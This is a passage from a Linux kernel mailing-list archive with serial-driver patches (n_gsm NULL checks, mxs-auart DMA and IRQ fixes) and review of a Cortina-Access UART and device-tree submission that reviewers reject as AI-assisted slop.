--- a/drivers/tty/n_gsm.c
+++ b/drivers/tty/n_gsm.c
@@ -1457,6 +1457,9 @@ static int gsm_control_command(struct gsm_mux *gsm, int cmd, const u8 *data,
struct gsm_msg *msg;
struct gsm_dlci *dlci = gsm->dlci[0];
+ if (!dlci)
+ return -EINVAL;
+
msg = gsm_data_alloc(gsm, 0, dlen + 2, dlci->ftype);
if (msg == NULL)
return -ENOMEM;
@@ -1485,6 +1488,9 @@ static void gsm_control_reply(struct gsm_mux *gsm, int cmd, const u8 *data,
struct gsm_msg *msg;
struct gsm_dlci *dlci = gsm->dlci[0];
+ if (!dlci)
+ return;
+
msg = gsm_data_alloc(gsm, 0, dlen + 2, dlci->ftype);
if (msg == NULL)
return;
--
2.43.0
^ permalink raw reply related
* Re: [PATCH 0/3] tty: serial: Add Cortina-Access UART driver and platform support
From: Arnd Bergmann @ 2026-06-11 8:35 UTC (permalink / raw)
To: Jason Li, Jason Li, Greg Kroah-Hartman, Jiri Slaby
Cc: Rob Herring, Krzysztof Kozlowski, Conor Dooley, Catalin Marinas,
Will Deacon, linux-serial@vger.kernel.org,
linux-arm-kernel@lists.infradead.org, devicetree@vger.kernel.org,
linux-kernel@vger.kernel.org
In-Reply-To: <JH0PR01MB5777B84BE8D9987329ABA54BA21B2@JH0PR01MB5777.apcprd01.prod.exchangelabs.com>
On Thu, Jun 11, 2026, at 07:27, Jason Li wrote:
> Hi Arnd,
>
> Your memory is truly amazing; you even remember a submission from a few
> years ago.
No, I just looked up your previous submissions when I saw the new one,
lore.kernel.org never forgets anything ;-)
> Yes, we expect actual end-user products based on these SoCs, and our
> intention is to provide complete upstream support over time. The UART
> driver and DTS support submitted in this series are the first step in
> that effort.
>
> Cortina-System and Cortina-Access are now totally different company.
> Current aarch64 chipset are totally different with legacy gemini
> processor.
> Realtek has many business unit, different BU may have upstream plan but
> they are individual.
> Although Cortina-Access is a wholly-owned subsidiary of Realtek, our
> product development is entirely independent.
Thanks for the information. Please make sure to add something along
these into the changeset text for the initial arm64 patch, along
with a brief description of what type of chip this is
Arnd
^ permalink raw reply
* RE: [PATCH 0/3] tty: serial: Add Cortina-Access UART driver and platform support
From: Jason Li @ 2026-06-11 5:27 UTC (permalink / raw)
To: Arnd Bergmann, Jason Li, Greg Kroah-Hartman, Jiri Slaby
Cc: Rob Herring, Krzysztof Kozlowski, Conor Dooley, Catalin Marinas,
Will Deacon, linux-serial@vger.kernel.org,
linux-arm-kernel@lists.infradead.org, devicetree@vger.kernel.org,
linux-kernel@vger.kernel.org
In-Reply-To: <7dcc8386-a0e0-4c79-a9f7-f63188bb997e@app.fastmail.com>
Hi Arnd,
Your memory is truly amazing; you even remember a submission from a few years ago.
Since the last sumbission was drop so I though restart a new one this time.
OK, I'll review all feedback and fix them for the next V6 submission.
Yes, we expect actual end-user products based on these SoCs, and our intention is to provide complete upstream support over time. The UART driver and DTS support submitted in this series are the first step in that effort.
Cortina-System and Cortina-Access are now totally different company.
Current aarch64 chipset are totally different with legacy gemini processor.
Realtek has many business unit, different BU may have upstream plan but they are individual.
Although Cortina-Access is a wholly-owned subsidiary of Realtek, our product development is entirely independent.
Thanks,
Jason
> -----Original Message-----
> From: Arnd Bergmann <arnd@arndb.de>
> Sent: Wednesday, June 10, 2026 8:51 PM
> To: Jason Li <jason.lee651024@gmail.com>; Jason Li
> <jason.li@cortina-access.com>; Greg Kroah-Hartman
> <gregkh@linuxfoundation.org>; Jiri Slaby <jirislaby@kernel.org>
> Cc: Rob Herring <robh@kernel.org>; Krzysztof Kozlowski <krzk+dt@kernel.org>;
> Conor Dooley <conor+dt@kernel.org>; Catalin Marinas
> <catalin.marinas@arm.com>; Will Deacon <will@kernel.org>;
> linux-serial@vger.kernel.org; linux-arm-kernel@lists.infradead.org;
> devicetree@vger.kernel.org; linux-kernel@vger.kernel.org
> Subject: Re: [PATCH 0/3] tty: serial: Add Cortina-Access UART driver and
> platform support
>
> External mail :
> This email originated from outside the organization. Do not reply, click links, or
> open attachments unless you recognize the sender and know the content is
> safe.
>
> On Wed, Jun 10, 2026, at 13:28, Jason Li wrote:
> > This series adds Linux kernel support for the UART controller
> > integrated in Cortina-Access SoCs, with CA8289 (Venus) as the first supported
> device.
>
> Hi Jason,
>
> Thanks a lot for your submission!
>
> I'm glad to see Cortina Access is getting back to upstreaming this support, I see
> that you first tries this in 2021 but didn't get very far at the time. The last
> submission was v4, so it would make sense to cound this one as v5 and
> continue with v6 next time.
>
> You have already received a number of comments, so I'll skip looking at the
> details for the moment and let you work through them.
>
> Regarding how to split up the patch series between uart and soc, I think
> sending them together during the review phase as you do here makes sense,
> but as they are loosely coupled, I think we will likely merge them separately.
> For simplicity, I would then just put the MAINTAINERS entry and the bindings
> for the vendor and board into the series for the soc tree.
>
> It would also help me if you could add some more context about the SoC into
> the patch description for the patch that adds the arm64 platform, in particular:
>
> - is this the only one you are planning to upstream at this
> point, or do you already have plans for other SoCs in this
> family?
>
> - do you expect to see full support for actual end-user
> products using these chips?
>
> - is there any shared lineage with the cortina-systems
> (storlink/storm, now marvell) gemini 32-bit chips that we
> already support, or with any of the Realtek SoCs that
> are also being upstreamed now?
>
> Arnd
^ permalink raw reply
* RE: [PATCH 1/3] dt-bindings: serial: Add binding for Cortina-Access UART
From: Jason Li @ 2026-06-11 5:26 UTC (permalink / raw)
To: Krzysztof Kozlowski, Jason Li, Greg Kroah-Hartman, Jiri Slaby
Cc: Rob Herring, Krzysztof Kozlowski, Conor Dooley, Catalin Marinas,
Will Deacon, Arnd Bergmann, linux-serial@vger.kernel.org,
linux-arm-kernel@lists.infradead.org, devicetree@vger.kernel.org,
linux-kernel@vger.kernel.org
In-Reply-To: <021d5cb7-51bf-4221-8b58-0e8a777cb97c@kernel.org>
> -----Original Message-----
> From: Krzysztof Kozlowski <krzk@kernel.org>
> Sent: Wednesday, June 10, 2026 7:51 PM
> To: Jason Li <jason.lee651024@gmail.com>; Jason Li
> <jason.li@cortina-access.com>; Greg Kroah-Hartman
> <gregkh@linuxfoundation.org>; Jiri Slaby <jirislaby@kernel.org>
> Cc: Rob Herring <robh@kernel.org>; Krzysztof Kozlowski <krzk+dt@kernel.org>;
> Conor Dooley <conor+dt@kernel.org>; Catalin Marinas
> <catalin.marinas@arm.com>; Will Deacon <will@kernel.org>; Arnd Bergmann
> <arnd@arndb.de>; linux-serial@vger.kernel.org;
> linux-arm-kernel@lists.infradead.org; devicetree@vger.kernel.org;
> linux-kernel@vger.kernel.org
> Subject: Re: [PATCH 1/3] dt-bindings: serial: Add binding for Cortina-Access
> UART
>
> External mail :
> This email originated from outside the organization. Do not reply, click links, or
> open attachments unless you recognize the sender and know the content is
> safe.
>
> On 10/06/2026 13:28, Jason Li wrote:
> > +
> > +allOf:
> > + - $ref: serial.yaml#
> > +
> > +properties:
> > + compatible:
> > + const: cortina-access,serial
>
> Aren't writing bindings very clear about that? Please, take your time to read
> through the docs, so we will not need to repeat basic guidance. It is
> documented there on purpose.
>
Appreciate for your time on reviewing.
>
> Best regards,
> Krzysztof
Thanks,
Jason
^ permalink raw reply
* RE: [PATCH 3/3] arm64: dts: cortina-access: Add DTS for CA8289 SoC and Venus board
From: Jason Li @ 2026-06-11 5:26 UTC (permalink / raw)
To: Krzysztof Kozlowski, Jason Li, Greg Kroah-Hartman, Jiri Slaby
Cc: Rob Herring, Krzysztof Kozlowski, Conor Dooley, Catalin Marinas,
Will Deacon, Arnd Bergmann, linux-serial@vger.kernel.org,
linux-arm-kernel@lists.infradead.org, devicetree@vger.kernel.org,
linux-kernel@vger.kernel.org
In-Reply-To: <2fd7077e-1180-47eb-9d13-5a570b0959a4@kernel.org>
> -----Original Message-----
> From: Krzysztof Kozlowski <krzk@kernel.org>
> Sent: Wednesday, June 10, 2026 7:50 PM
> To: Jason Li <jason.lee651024@gmail.com>; Jason Li
> <jason.li@cortina-access.com>; Greg Kroah-Hartman
> <gregkh@linuxfoundation.org>; Jiri Slaby <jirislaby@kernel.org>
> Cc: Rob Herring <robh@kernel.org>; Krzysztof Kozlowski <krzk+dt@kernel.org>;
> Conor Dooley <conor+dt@kernel.org>; Catalin Marinas
> <catalin.marinas@arm.com>; Will Deacon <will@kernel.org>; Arnd Bergmann
> <arnd@arndb.de>; linux-serial@vger.kernel.org;
> linux-arm-kernel@lists.infradead.org; devicetree@vger.kernel.org;
> linux-kernel@vger.kernel.org
> Subject: Re: [PATCH 3/3] arm64: dts: cortina-access: Add DTS for CA8289 SoC
> and Venus board
>
> External mail :
> This email originated from outside the organization. Do not reply, click links, or
> open attachments unless you recognize the sender and know the content is
> safe.
>
> On 10/06/2026 13:28, Jason Li wrote:
> > Add SoC DTSI for the Cortina-Access CA8289 (Venus) and a board DTS for
> > the Venus engineering board. The description covers the minimum set of
> > hardware nodes needed to boot a kernel with an INITRD rootfs: CPUs,
> > GIC, timer, PSCI, fixed clock and UART.
> >
> > Signed-off-by: Jason Li <jason.li@cortina-access.com>
> > Assisted-by: Claude:claude-opus-4-8
>
> SoB should be the last tag.
>
> Also, it does not match From field.
>
> > ---
> > MAINTAINERS | 1 +
> > arch/arm64/Kconfig.platforms | 10 ++
> > arch/arm64/boot/dts/Makefile | 1 +
> > arch/arm64/boot/dts/cortina-access/Makefile | 2 +
> > .../dts/cortina-access/ca8289-engboard.dts | 31 +++++
> > .../boot/dts/cortina-access/ca8289-soc.dtsi | 118 ++++++++++++++++++
> > 6 files changed, 163 insertions(+)
> > create mode 100644 arch/arm64/boot/dts/cortina-access/Makefile
> > create mode 100644
> > arch/arm64/boot/dts/cortina-access/ca8289-engboard.dts
> > create mode 100644 arch/arm64/boot/dts/cortina-access/ca8289-soc.dtsi
> >
> > diff --git a/MAINTAINERS b/MAINTAINERS index
> > 515d89d96472..ebfdb9c267cc 100644
> > --- a/MAINTAINERS
> > +++ b/MAINTAINERS
> > @@ -2826,6 +2826,7 @@ L: linux-arm-kernel@lists.infradead.org
> (moderated for non-subscribers)
> > S: Maintained
> > F: Documentation/devicetree/bindings/arm/cortina-access.yaml
> > F: Documentation/devicetree/bindings/serial/cortina-access,serial.yaml
> > +F: arch/arm64/boot/dts/cortina-access/
> >
> > ARM/CORTINA SYSTEMS GEMINI ARM ARCHITECTURE
> > M: Hans Ulli Kroll <ulli.kroll@googlemail.com>
> > diff --git a/arch/arm64/Kconfig.platforms
> > b/arch/arm64/Kconfig.platforms index dc995a732117..ba6dda0660c3
> 100644
> > --- a/arch/arm64/Kconfig.platforms
> > +++ b/arch/arm64/Kconfig.platforms
> > @@ -134,6 +134,16 @@ config ARCH_CIX
> > This enables support for the Cixtech SoC family,
> > like P1(sky1).
> >
> > +config ARCH_CORTINA_ACCESS
> > + bool "Cortina-Access SoC Family"
> > + select GPIOLIB
> > + select PINCTRL
> > + help
> > + This enables support for Cortina-Access SoCs. The family
> > + includes ARMv8-based devices targeting networking and access
> > + applications.
> > + If you have a Cortina-Access board, say Y here.
> > +
> > config ARCH_EXYNOS
> > bool "Samsung Exynos SoC family"
> > select COMMON_CLK_SAMSUNG
> > diff --git a/arch/arm64/boot/dts/Makefile
> > b/arch/arm64/boot/dts/Makefile index 98ec8f1b76e4..a599f525fb9a 100644
> > --- a/arch/arm64/boot/dts/Makefile
> > +++ b/arch/arm64/boot/dts/Makefile
> > @@ -16,6 +16,7 @@ subdir-y += broadcom subdir-y += bst subdir-y +=
> > cavium subdir-y += cix
> > +subdir-y += cortina-access
> > subdir-y += exynos
> > subdir-y += freescale
> > subdir-y += hisilicon
> > diff --git a/arch/arm64/boot/dts/cortina-access/Makefile
> > b/arch/arm64/boot/dts/cortina-access/Makefile
> > new file mode 100644
> > index 000000000000..554893f381fe
> > --- /dev/null
> > +++ b/arch/arm64/boot/dts/cortina-access/Makefile
> > @@ -0,0 +1,2 @@
> > +# SPDX-License-Identifier: GPL-2.0
> > +dtb-$(CONFIG_ARCH_CORTINA_ACCESS) += ca8289-engboard.dtb
> > diff --git a/arch/arm64/boot/dts/cortina-access/ca8289-engboard.dts
> > b/arch/arm64/boot/dts/cortina-access/ca8289-engboard.dts
> > new file mode 100644
> > index 000000000000..c8289a0f8269
> > --- /dev/null
> > +++ b/arch/arm64/boot/dts/cortina-access/ca8289-engboard.dts
> > @@ -0,0 +1,31 @@
> > +// SPDX-License-Identifier: GPL-2.0
> > +/*
> > + * dts file for Cortina Access Venus Engineering Board
> > + *
> > + * Copyright (C) 2026, Cortina Access Inc.
> > + *
> > + */
> > +
> > +/dts-v1/;
> > +
> > +#include "ca8289-soc.dtsi"
> > +
> > +/ {
> > + model = "Cortina Access Venus Engineering Board";
> > + compatible = "cortina-access,ca8289-engboard";
> > + #address-cells = <2>;
> > + #size-cells = <2>;
> > +
> > + aliases {
> > + serial0 = &uart0;
> > + };
> > +
> > + chosen {
> > + stdout-path = "serial0:115200n8";
> > + };
> > +
> > + memory@0 { /* 512MB */
> > + device_type = "memory";
> > + reg = <0x00000000 0x00000000 0x0 0x20000000>;
> > + };
> > +};
> > diff --git a/arch/arm64/boot/dts/cortina-access/ca8289-soc.dtsi
> > b/arch/arm64/boot/dts/cortina-access/ca8289-soc.dtsi
> > new file mode 100644
> > index 000000000000..8e7ffcf4ccab
> > --- /dev/null
> > +++ b/arch/arm64/boot/dts/cortina-access/ca8289-soc.dtsi
> > @@ -0,0 +1,118 @@
> > +// SPDX-License-Identifier: GPL-2.0
> > +/*
> > + * dts file for Cortina Access CA8289 SoC
> > + *
> > + * Copyright (C) 2026, Cortina Access Inc.
> > + */
> > +
> > +#include <dt-bindings/interrupt-controller/arm-gic.h>
> > +#include <dt-bindings/interrupt-controller/irq.h>
> > +
> > +/ {
> > + cpus {
> > + #address-cells = <2>;
> > + #size-cells = <0>;
> > +
> > + cpu0: cpu@0 {
> > + compatible = "arm,cortex-a55", "arm,armv8";
> > + device_type = "cpu";
> > + reg = <0x0 0x0>;
> > + enable-method = "psci";
> > + };
>
> Missing blank lines. Look at existing code how this is supposed to look like.
OK
> > + cpu1: cpu@100 {
> > + compatible = "arm,cortex-a55", "arm,armv8";
> > + device_type = "cpu";
> > + reg = <0x0 0x100>;
> > + enable-method = "psci";
> > + };
> > + cpu2: cpu@200 {
> > + compatible = "arm,cortex-a55", "arm,armv8";
> > + device_type = "cpu";
> > + reg = <0x0 0x200>;
> > + enable-method = "psci";
> > + };
> > + cpu3: cpu@300 {
> > + compatible = "arm,cortex-a55", "arm,armv8";
> > + device_type = "cpu";
> > + reg = <0x0 0x300>;
> > + enable-method = "psci";
> > + };
> > + cpu-map {
> > + cluster0 {
> > + core0 {
> > + cpu = <&cpu0>;
> > + };
> > + core1 {
> > + cpu = <&cpu1>;
> > + };
> > + core2 {
> > + cpu = <&cpu2>;
> > + };
> > + core3 {
> > + cpu = <&cpu3>;
> > + };
> > + };
> > + };
> > + };
> > +
> > + psci {
> > + compatible = "arm,psci-0.2";
> > + method = "smc";
> > + };
> > +
> > + gic: interrupt-controller@4f8000000 {
>
> And now you repeat basic mistakes:
> 1. Pointed out by W=1 dtbs_check build
> 2. Fixed long time in every source
> 3. Explicitly documented in writing bindings and DTS coding style
I'll revisit document and use dtbs_check to check that.
>
> > + compatible = "arm,gic-v3";
> > + #interrupt-cells = <3>;
> > + interrupt-controller;
> > + #redistributor-regions = <1>;
> > + reg = <0x00000004 0xF8000000 0 0x10000>,
> > + <0x00000004 0xF8040000 0 0x80000>;
>
> Read DTS coding style.
>
> > + };
> > +
> > + apb_pclk: apb-pclk {
>
> Nope, drop entire node.
>
> > + compatible = "fixed-clock";
> > + #clock-cells = <0>;
> > + clock-frequency = <125000000>;
> > + };
> > +
> > + reserved-memory {
> > + #address-cells = <2>;
> > + #size-cells = <2>;
> > + ranges;
> > +
> > + /* TrustZone reserved region; must not be mapped by the
> kernel */
> > + tz_pool: tz-buffer@f000000 {
> > + reg = <0x0 0x0F000000 0x0 0x1000000>;
> > + no-map;
> > + };
> > + };
> > +
> > + /* See
> Documentation/devicetree/bindings/timer/arm,arch_timer.yaml */
> > + timer {
> > + compatible = "arm,armv8-timer";
> > + interrupt-parent = <&gic>;
> > + interrupts = <GIC_PPI 13 IRQ_TYPE_LEVEL_LOW>,
> > + <GIC_PPI 14 IRQ_TYPE_LEVEL_LOW>,
> > + <GIC_PPI 11 IRQ_TYPE_LEVEL_LOW>,
> > + <GIC_PPI 10 IRQ_TYPE_LEVEL_LOW>;
> > + clock-frequency = <25000000>;
> > + };
> > +
> > + uart0: serial@f4329188 {
> > + device_type = "serial";
> > + compatible = "cortina-access,serial";
> > + reg = <0x00000000 0xf4329188 0x0 0x30>;
>
> This is AI slop. Whatever Claude convinced you to do, it is nothing like
> upstream kernel source.
>
> Best regards,
> Krzysztof
Thanks,
Jason
^ permalink raw reply
* RE: [PATCH 1/3] dt-bindings: serial: Add binding for Cortina-Access UART
From: Jason Li @ 2026-06-11 5:25 UTC (permalink / raw)
To: Krzysztof Kozlowski, Jason Li, Greg Kroah-Hartman, Jiri Slaby
Cc: Rob Herring, Krzysztof Kozlowski, Conor Dooley, Catalin Marinas,
Will Deacon, Arnd Bergmann, linux-serial@vger.kernel.org,
linux-arm-kernel@lists.infradead.org, devicetree@vger.kernel.org,
linux-kernel@vger.kernel.org
In-Reply-To: <068a7ba8-5b1e-46e3-9388-ba288163eb10@kernel.org>
> -----Original Message-----
> From: Krzysztof Kozlowski <krzk@kernel.org>
> Sent: Wednesday, June 10, 2026 7:47 PM
> To: Jason Li <jason.lee651024@gmail.com>; Jason Li
> <jason.li@cortina-access.com>; Greg Kroah-Hartman
> <gregkh@linuxfoundation.org>; Jiri Slaby <jirislaby@kernel.org>
> Cc: Rob Herring <robh@kernel.org>; Krzysztof Kozlowski <krzk+dt@kernel.org>;
> Conor Dooley <conor+dt@kernel.org>; Catalin Marinas
> <catalin.marinas@arm.com>; Will Deacon <will@kernel.org>; Arnd Bergmann
> <arnd@arndb.de>; linux-serial@vger.kernel.org;
> linux-arm-kernel@lists.infradead.org; devicetree@vger.kernel.org;
> linux-kernel@vger.kernel.org
> Subject: Re: [PATCH 1/3] dt-bindings: serial: Add binding for Cortina-Access
> UART
>
> External mail :
> This email originated from outside the organization. Do not reply, click links, or
> open attachments unless you recognize the sender and know the content is
> safe.
>
> On 10/06/2026 13:28, Jason Li wrote:
> > Add DT binding schema for the Cortina-Access UART controller.
> > This IP is integrated into most CAXXXX SoC family members.
> >
> > Also add the vendor prefix for Cortina Access, Inc. and the top-level
> > ARM board binding document for the CA8289 (Venus) SoC.
> >
> > Signed-off-by: Jason Li <jason.li@cortina-access.com>
> > Assisted-by: Claude:claude-opus-4-8
> > ---
> > .../bindings/arm/cortina-access.yaml | 29 ++++++++++++
> > .../serial/cortina-access,serial.yaml | 46 +++++++++++++++++++
> > .../devicetree/bindings/vendor-prefixes.yaml | 2 +
> > MAINTAINERS | 7 +++
>
> This is somehow complete mess. serial and arm together?
>
> Please carefully read submitting patches (both documents!) and don't send
> AI-assisted slop.
>
> You must not combine independent works together.
>
>
Thank you, I'll separate patch for different yaml
> > 4 files changed, 84 insertions(+)
> > create mode 100644
> > Documentation/devicetree/bindings/arm/cortina-access.yaml
> > create mode 100644
> > Documentation/devicetree/bindings/serial/cortina-access,serial.yaml
> >
> > diff --git a/Documentation/devicetree/bindings/arm/cortina-access.yaml
> > b/Documentation/devicetree/bindings/arm/cortina-access.yaml
> > new file mode 100644
> > index 000000000000..ec0320ed0c0b
> > --- /dev/null
> > +++ b/Documentation/devicetree/bindings/arm/cortina-access.yaml
> > @@ -0,0 +1,29 @@
> > +# SPDX-License-Identifier: GPL-2.0-only OR BSD-2-Clause %YAML 1.2
> > +---
> > +$id: http://devicetree.org/schemas/arm/cortina-access.yaml#
> > +$schema: http://devicetree.org/meta-schemas/core.yaml#
> > +
> > +title: Cortina-Access SoC boards
> > +
> > +maintainers:
> > + - Jason Li <jason.li@cortina-access.com>
> > +
> > +description:
> > + Boards based on Cortina-Access ARMv8 SoCs targeting networking and
> > + access applications.
> > +
> > +properties:
> > + $nodename:
> > + const: /
> > + compatible:
> > + oneOf:
> > + - description: Cortina-Access CA8289 (Venus) engineering board
> > + const: cortina-access,ca8289-engboard
> > +
> > + - description: Cortina-Access CA8289 (Venus) reference board
> > + const: cortina-access,ca8289-refboard
>
>
> Where is the SoC? This looks like very poor contribution. If you opened any
> existing recent board binding you would see it is done differently.
>
Thanks, I'll refer more exist examples to fix.
> Best regards,
> Krzysztof
Thanks,
Jason
^ permalink raw reply
* [PATCHv3 5/6] serial: mxs-auart: clamp RX DMA count to buffer size
From: Rosen Penev @ 2026-06-11 3:38 UTC (permalink / raw)
To: linux-serial
Cc: Greg Kroah-Hartman, Jiri Slaby, Frank Li, Sascha Hauer,
Pengutronix Kernel Team, Fabio Estevam,
open list:TTY LAYER AND SERIAL DRIVERS,
open list:ARM/FREESCALE IMX / MXC ARM ARCHITECTURE,
moderated list:ARM/FREESCALE IMX / MXC ARM ARCHITECTURE
In-Reply-To: <20260611033856.6476-1-rosenp@gmail.com>
In dma_rx_callback(), the RX count from the hardware status register
(AUART_STAT_RXCOUNT_MASK = 0xffff) is passed directly to
tty_insert_flip_string() without any bounds check. Since rx_dma_buf
is allocated with UART_XMIT_SIZE (4096 bytes), a hardware fault or
compromised peripheral reporting a count larger than 4096 would cause
an out-of-bounds read, potentially leaking kernel memory.
Clamp the count to UART_XMIT_SIZE before use.
Assisted-by: opencode:big-pickle
Signed-off-by: Rosen Penev <rosenp@gmail.com>
---
drivers/tty/serial/mxs-auart.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/drivers/tty/serial/mxs-auart.c b/drivers/tty/serial/mxs-auart.c
index e2b656638ab3..fe48a372d022 100644
--- a/drivers/tty/serial/mxs-auart.c
+++ b/drivers/tty/serial/mxs-auart.c
@@ -823,7 +823,7 @@ static void dma_rx_callback(void *arg)
stat &= ~(AUART_STAT_OERR | AUART_STAT_BERR |
AUART_STAT_PERR | AUART_STAT_FERR);
- count = stat & AUART_STAT_RXCOUNT_MASK;
+ count = min_t(u32, stat & AUART_STAT_RXCOUNT_MASK, UART_XMIT_SIZE);
tty_insert_flip_string(port, s->rx_dma_buf, count);
mxs_write(stat, s, REG_STAT);
--
2.54.0
^ permalink raw reply related
* [PATCHv3 6/6] serial: mxs-auart: terminate DMA before releasing channels in exit
From: Rosen Penev @ 2026-06-11 3:38 UTC (permalink / raw)
To: linux-serial
Cc: Greg Kroah-Hartman, Jiri Slaby, Frank Li, Sascha Hauer,
Pengutronix Kernel Team, Fabio Estevam,
open list:TTY LAYER AND SERIAL DRIVERS,
open list:ARM/FREESCALE IMX / MXC ARM ARCHITECTURE,
moderated list:ARM/FREESCALE IMX / MXC ARM ARCHITECTURE
In-Reply-To: <20260611033856.6476-1-rosenp@gmail.com>
mxs_auart_dma_exit_channel() calls dma_release_channel() and then
kfree() on the DMA buffers without first terminating any in-flight
transfers. If an asynchronous DMA transfer completes after the buffers
have been freed, the callback will access freed memory.
Call dmaengine_terminate_sync() on each channel before releasing it
to safely abort pending transfers.
Assisted-by: opencode:big-pickle
Signed-off-by: Rosen Penev <rosenp@gmail.com>
---
drivers/tty/serial/mxs-auart.c | 2 ++
1 file changed, 2 insertions(+)
diff --git a/drivers/tty/serial/mxs-auart.c b/drivers/tty/serial/mxs-auart.c
index fe48a372d022..ec2c60dd0f52 100644
--- a/drivers/tty/serial/mxs-auart.c
+++ b/drivers/tty/serial/mxs-auart.c
@@ -872,10 +872,12 @@ static int mxs_auart_dma_prep_rx(struct mxs_auart_port *s)
static void mxs_auart_dma_exit_channel(struct mxs_auart_port *s)
{
if (s->tx_dma_chan) {
+ dmaengine_terminate_sync(s->tx_dma_chan);
dma_release_channel(s->tx_dma_chan);
s->tx_dma_chan = NULL;
}
if (s->rx_dma_chan) {
+ dmaengine_terminate_sync(s->rx_dma_chan);
dma_release_channel(s->rx_dma_chan);
s->rx_dma_chan = NULL;
}
--
2.54.0
^ permalink raw reply related
* [PATCHv3 4/6] serial: mxs-auart: fix IRQ registration ordering and manage console clock
From: Rosen Penev @ 2026-06-11 3:38 UTC (permalink / raw)
To: linux-serial
Cc: Greg Kroah-Hartman, Jiri Slaby, Frank Li, Sascha Hauer,
Pengutronix Kernel Team, Fabio Estevam,
open list:TTY LAYER AND SERIAL DRIVERS,
open list:ARM/FREESCALE IMX / MXC ARM ARCHITECTURE,
moderated list:ARM/FREESCALE IMX / MXC ARM ARCHITECTURE
In-Reply-To: <20260611033856.6476-1-rosenp@gmail.com>
Move the main UART IRQ registration after uart_add_one_port so that
s->port.state and s->port.lock are initialized before the interrupt
handler can run. Mask all UART interrupts before adding the port to
prevent spurious IRQs left by the bootloader.
After probe succeeds, disable the module clock for non-console ports
since startup will re-enable it on port open. For console ports, keep
the clock prepared so auart_console_write() can safely call
clk_enable() from atomic context.
Guard the IRQ handler and get_mctrl with clk_enable/clk_disable since
GPIO IRQs and serial-core status queries can fire while the clock is
disabled for non-console ports.
In remove, disable the clock for console ports to balance the enable
done in probe, preventing a clock leak on unbind.
Assisted-by: opencode:big-pickle
---
drivers/tty/serial/mxs-auart.c | 49 +++++++++++++++++++++++++++-------
1 file changed, 39 insertions(+), 10 deletions(-)
diff --git a/drivers/tty/serial/mxs-auart.c b/drivers/tty/serial/mxs-auart.c
index 4499e3206e85..e2b656638ab3 100644
--- a/drivers/tty/serial/mxs-auart.c
+++ b/drivers/tty/serial/mxs-auart.c
@@ -738,9 +738,13 @@ static u32 mxs_auart_modem_status(struct mxs_auart_port *s, u32 mctrl)
static u32 mxs_auart_get_mctrl(struct uart_port *u)
{
struct mxs_auart_port *s = to_auart_port(u);
- u32 stat = mxs_read(s, REG_STAT);
+ u32 stat;
u32 mctrl = 0;
+ clk_enable(s->clk);
+ stat = mxs_read(s, REG_STAT);
+ clk_disable(s->clk);
+
if (stat & AUART_STAT_CTS)
mctrl |= TIOCM_CTS;
@@ -1079,6 +1083,7 @@ static irqreturn_t mxs_auart_irq_handle(int irq, void *context)
struct mxs_auart_port *s = context;
u32 mctrl_temp = s->mctrl_prev;
+ clk_enable(s->clk);
uart_port_lock(&s->port);
stat = mxs_read(s, REG_STAT);
@@ -1118,6 +1123,7 @@ static irqreturn_t mxs_auart_irq_handle(int irq, void *context)
}
uart_port_unlock(&s->port);
+ clk_disable(s->clk);
return IRQ_HANDLED;
}
@@ -1603,10 +1609,6 @@ static int mxs_auart_probe(struct platform_device *pdev)
}
s->port.irq = irq;
- ret = devm_request_irq(&pdev->dev, irq, mxs_auart_irq_handle, 0,
- dev_name(&pdev->dev), s);
- if (ret)
- goto out_disable_clk;
platform_set_drvdata(pdev, s);
@@ -1627,9 +1629,28 @@ static int mxs_auart_probe(struct platform_device *pdev)
mxs_auart_reset_deassert(s);
+ /* Mask all UART interrupts to prevent spurious IRQs from bootloader */
+ mxs_write(0, s, REG_INTR);
+
ret = uart_add_one_port(&auart_driver, &s->port);
- if (ret)
- goto out_free_qpio_irq;
+ if (ret) {
+ auart_port[s->port.line] = NULL;
+ goto out_disable_clk;
+ }
+
+ /*
+ * Request the main IRQ after uart_add_one_port so that
+ * s->port.state and s->port.lock are initialized before
+ * the handler can run in response to a bootloader-left
+ * interrupt.
+ */
+ ret = devm_request_irq(&pdev->dev, irq, mxs_auart_irq_handle, 0,
+ dev_name(&pdev->dev), s);
+ if (ret) {
+ uart_remove_one_port(&auart_driver, &s->port);
+ auart_port[s->port.line] = NULL;
+ goto out_disable_clk;
+ }
/* ASM9260 don't have version reg */
if (is_asm9260_auart(s)) {
@@ -1641,10 +1662,16 @@ static int mxs_auart_probe(struct platform_device *pdev)
(version >> 16) & 0xff, version & 0xffff);
}
- return 0;
+ /*
+ * Disable clock -- startup will re-enable when the port is opened.
+ * For the console port the clock must stay prepared so that
+ * auart_console_write() can safely call clk_enable() from
+ * atomic context.
+ */
+ if (!uart_console(&s->port))
+ clk_disable_unprepare(s->clk);
-out_free_qpio_irq:
- auart_port[s->port.line] = NULL;
+ return 0;
out_disable_clk:
clk_disable_unprepare(s->clk);
@@ -1657,6 +1684,8 @@ static void mxs_auart_remove(struct platform_device *pdev)
uart_remove_one_port(&auart_driver, &s->port);
auart_port[s->port.line] = NULL;
+ if (uart_console(&s->port))
+ clk_disable_unprepare(s->clk);
}
static struct platform_driver mxs_auart_driver = {
--
2.54.0
^ permalink raw reply related
* [PATCHv3 3/6] serial: mxs-auart: use devm resources for iomem and GPIO IRQs
From: Rosen Penev @ 2026-06-11 3:38 UTC (permalink / raw)
To: linux-serial
Cc: Greg Kroah-Hartman, Jiri Slaby, Frank Li, Sascha Hauer,
Pengutronix Kernel Team, Fabio Estevam,
open list:TTY LAYER AND SERIAL DRIVERS,
open list:ARM/FREESCALE IMX / MXC ARM ARCHITECTURE,
moderated list:ARM/FREESCALE IMX / MXC ARM ARCHITECTURE
In-Reply-To: <20260611033856.6476-1-rosenp@gmail.com>
Replace platform_get_resource + ioremap with
devm_platform_get_and_ioremap_resource and convert GPIO IRQ
request_irq/free_irq to devm_request_irq. This eliminates the
mxs_auart_free_gpio_irq function and its call sites, and the
out_iounmap error label. Simplify the remove function accordingly.
Assisted-by: opencode:big-pickle
Signed-off-by: Rosen Penev <rosenp@gmail.com>
---
drivers/tty/serial/mxs-auart.c | 53 +++++++---------------------------
1 file changed, 11 insertions(+), 42 deletions(-)
diff --git a/drivers/tty/serial/mxs-auart.c b/drivers/tty/serial/mxs-auart.c
index aa59a48bfad7..4499e3206e85 100644
--- a/drivers/tty/serial/mxs-auart.c
+++ b/drivers/tty/serial/mxs-auart.c
@@ -1517,15 +1517,6 @@ static int mxs_auart_init_gpios(struct mxs_auart_port *s, struct device *dev)
return 0;
}
